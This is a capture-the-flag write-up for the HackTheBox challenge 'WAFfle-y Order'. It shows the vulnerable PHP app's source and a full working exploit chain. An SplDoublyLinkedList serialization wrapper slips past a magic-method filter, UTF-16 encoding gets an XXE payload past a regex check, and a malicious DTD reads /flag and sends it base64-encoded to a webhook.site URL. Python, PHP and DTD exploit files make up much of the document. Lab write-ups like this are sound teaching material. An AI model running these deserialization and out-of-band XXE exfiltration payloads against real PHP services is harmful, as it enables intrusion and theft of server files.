Tags

WAFfle-y Order

Challenge description

Renember what’s important in life: friends 🤝, WAFfles 🧇, work 💼. or 🧇 WAFfles. 🤝 friends. 💼 work. Doesn’t matter. But work is third 🥉. This is why we launched our new WAFfle-y cute ordering system API for our beloved customers and friends! But remember, don’t get all filled up on those regexes yet, we also offer Ice Scream 🍦!

Challenge source code

index.php

<?php
    spl_autoload_register(function ($name){
        if (preg_match('/Controller$/', $name))
        {
            $name = "controllers/${name}";
        }
        if (preg_match('/Model$/', $name))
        {
            $name = "models/${name}";
        }
        include_once "${name}.php";
    });
    
    new XmlParserModel(file_get_contents('.env'));
    
    if (empty($_COOKIE['PHPSESSID']))
    {
        $user = new UserModel;
        $user->username = substr(uniqid('guest_'), 0, 10);
        setcookie(
            'PHPSESSID', 
            base64_encode(serialize($user)), 
            time()+60*60*24, 
            '/'
        );
    }
    
    $router = new Router();
    
    $router->new('GET', '/', fn($router) => $router->view('menu'));
    $router->new('POST', '/api/order', 'OrderController@order');
    
    die($router->match());
    

controllers/OrderController.php

<?php
    function safe_object($serialized_data)
    {
        $matches = [];
        $num_matches = preg_match_all('/(^|;)O:\d+:"([^"]+)"/', $serialized_data, $matches);
    
        for ($i = 0; $i < $num_matches; $i++) {
            $methods = get_class_methods($matches[2][$i]);
            foreach ($methods as $method) {
                if (preg_match('/^__.*$/', $method) != 0) {
                    die("Unsafe method: ${method}");
                }
            }
        }
    }
    
    class OrderController
    {
        public function order($router)
        {
            $body = file_get_contents('php://input');
            $cookie = base64_decode($_COOKIE['PHPSESSID']);
            safe_object($cookie);
            $user = unserialize($cookie);
    
            if ($_SERVER['HTTP_CONTENT_TYPE'] === 'application/json')
            {
                $order = json_decode($body);
                if (!$order->food) 
                    return json_encode([
                        'status' => 'danger',
                        'message' => 'You need to select a food option first'
                    ]);
                if ($_ENV['debug'])
                {
                    $date = date('d-m-Y G:i:s');
                    file_put_contents('/tmp/orders.log', "[${date}] ${body} by {$user->username}\n", FILE_APPEND);
                }
                return json_encode([
                    'status' => 'success',
                    'message' => "Hello {$user->username}, your {$order->food} order has been submitted successfully."
                ]);
            }
            else
            {
                return $router->abort(400);
            }
        }
    }
    

models/XmlParserModel.php

<?php
    class XmlParserModel
    {
        private string $data;
        private array $env;
    
        public function __construct($data)
        {
            $this->data = $data;
        }
    
        public function __wakeup()
        {
            if (preg_match_all("/<!(?:DOCTYPE|ENTITY)(?:\s|%|&#[0-9]+;|&#x[0-9a-fA-F]+;)+[^\s]+\s+(?:SYSTEM|PUBLIC)\s+[\'\"]/im", $this->data))
            {
                die('Unsafe XML');
            }
            $env = @simplexml_load_string($this->data, 'SimpleXMLElement', LIBXML_NOENT);
    
            if (!$env) 
            {
                die('Malformed XML');
            }
    
            foreach ($env as $key => $value)
            {
                $_ENV[$key] = (string)$value;
            }
        }
    
    }
    

Methodology

We can make an order with POST /api/order with JSON payload. First time using the website, it sets our cookie to serialized UserModel object in PHPSESSID. This is what it looks like after URL and base64 decoding.

Cookie serialization

Cookie: PHPSESSID=O:9:"UserModel":1:{s:8:"username";s:10:"guest_614c";}

When making the call, the server checks if the cookie is “safe” with safe_object(). The method finds all matches of serialized objects and gets their respective class methods. If any of the class method contains __ at the beginning (for magic methods exploits), the program dies.

Decoded cookie, the ErrorException contains magic method __construct.
O:14:"ErrorException":1:{s:8:"username";s:10:"guest_614c";}

Failing request
failing1

To bypass this restriction, I studied this writeup.

Serialization WAF bypass

Objects that implement the Serializable interface contain two methods serialize and unserialize. When serializing such an object a string of the following format will be returned: C:<number of characters in the class name>:"<class name>":<length of the output of the serialize method>:{<output of the serialize method>}. Creating a serialized string in this format for an object of a class that doesn’t implement Serializable will work but the deserialized object will not have any class members set. It is thus not very useful for our purposes but it does lead the way to a final working exploit.

// C:19:“SplDoublyLinkedList”:33:{i:0;:O:10:“HelloWorld”:0:{}:i:42;}

Notice the : before O. This prevents the regex from matching. Part of the payload is going to look like this. $pay is our serialized payload object.

// 11 is number of chars in {} block apart from variable $pay
    $l = 11 + strlen($pay);
    echo 'C:19:"SplDoublyLinkedList":' . $l . ':{i:0;:' . $pay . ':i:42;}';
    

Now we are free to serialize whatever we want.

XML WAF bypass

We will serialize XmlParserModel class. It has __wakeup magic method, and calls simplexml_load_string() which we will exploit. With this method, we can do XXE, but have to first bypass the regex check. The LIBXML_NOENT option allows us to use XML entities.

noent

To bypass the regex, I use UTF-16 encoding on the XML payload. The simplexml_load_string() does whats its told to do, and the regex just don’t know what’s going on and lets the paylod through.

DTD OOB exfiltration

Free from restraints, we can finally do the XXE with OOB DTD (inspiration). The challenge is internet-enabled. I’m going to fetch the DTD from ngrok which I tunnel to my machine where I host the DTD file. The DTD reads the flag file and make a call to my internet webhook, where a GET parameter contains the flag.

Exploit

exploit.py

#!/usr/bin/python3
    
    import requests
    import subprocess
    import base64
    
    result = subprocess.run(['php', 'php_pay.php'], stdout=subprocess.PIPE)
    rs = result.stdout 
    pay = base64.b64encode(rs)
    pay = pay.decode()
    
    c = {'PHPSESSID': pay}
    d = {"table_num":"1","food":"WAFfles"}
    
    r = requests.post('http://206.189.124.249:32543/api/order', json=d, cookies=c)
    print(r.content.decode())
    

php_pay.php

<?php
    
    class XmlParserModel {
        public string $data;
    
        public function __construct($data)
        {
            $this->data = $data;
        }
    }
    
    /* UTF-16 encoding
     * ngrok to malicious.dtd
     */
    $xml = '<?xml version="1.0" encoding="UTF-16"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://1486-88-212-37-72.ngrok.io/malicious.dtd"> %xxe;]><env><debug>1</debug></env>';
    
    // perform utf-16 conversion (big endian)
    $xml = iconv('UTF-8', 'UTF-16BE', $xml);
    
    $pay = serialize(new XmlParserModel($xml));
    
    // 11 is number of chars in {} block apart from variable $pay
    $l = 11 + strlen($pay);
    echo 'C:19:"SplDoublyLinkedList":' . $l . ':{i:0;:' . $pay . ':i:42;}';
    

malicious.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
    <!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://webhook.site/d1a3d99e-30da-4cb5-8e98-a4922d66f996/?x=%file;'>">
    %eval;
    %exfiltrate;
    

In exploit.py we generate php serialized payload and encode using base64. URL encoding is done inplicitly in requests. Insert payload into cookie and make the API call.

In php_pay.php we create and xml paylod that will be interpreted by simplexml_load_string(). We tell it to fetch our malicious DTD and execute it. Then we convert the xml into UTF-16BE, serialize it and paste it into our predefined serialized structure.

In malicious.dtd we tell the system to get contents of /flag and encode it using base64. We have to use base64 encoding because the file contains a newline at the end, and the xml entity doesn’t like that. We then instruct the system to make and http call to our webhook which contains the flag as a GET parameter.

Loot

Execute
exploit1

Result on webhook.site
exploit1

Decoded flag
exploit1

Flag

HTB{wh0_l3t_th3_enc0d1ngs_0ut???w00f…wo0f…w0of…WAFfl3s!!}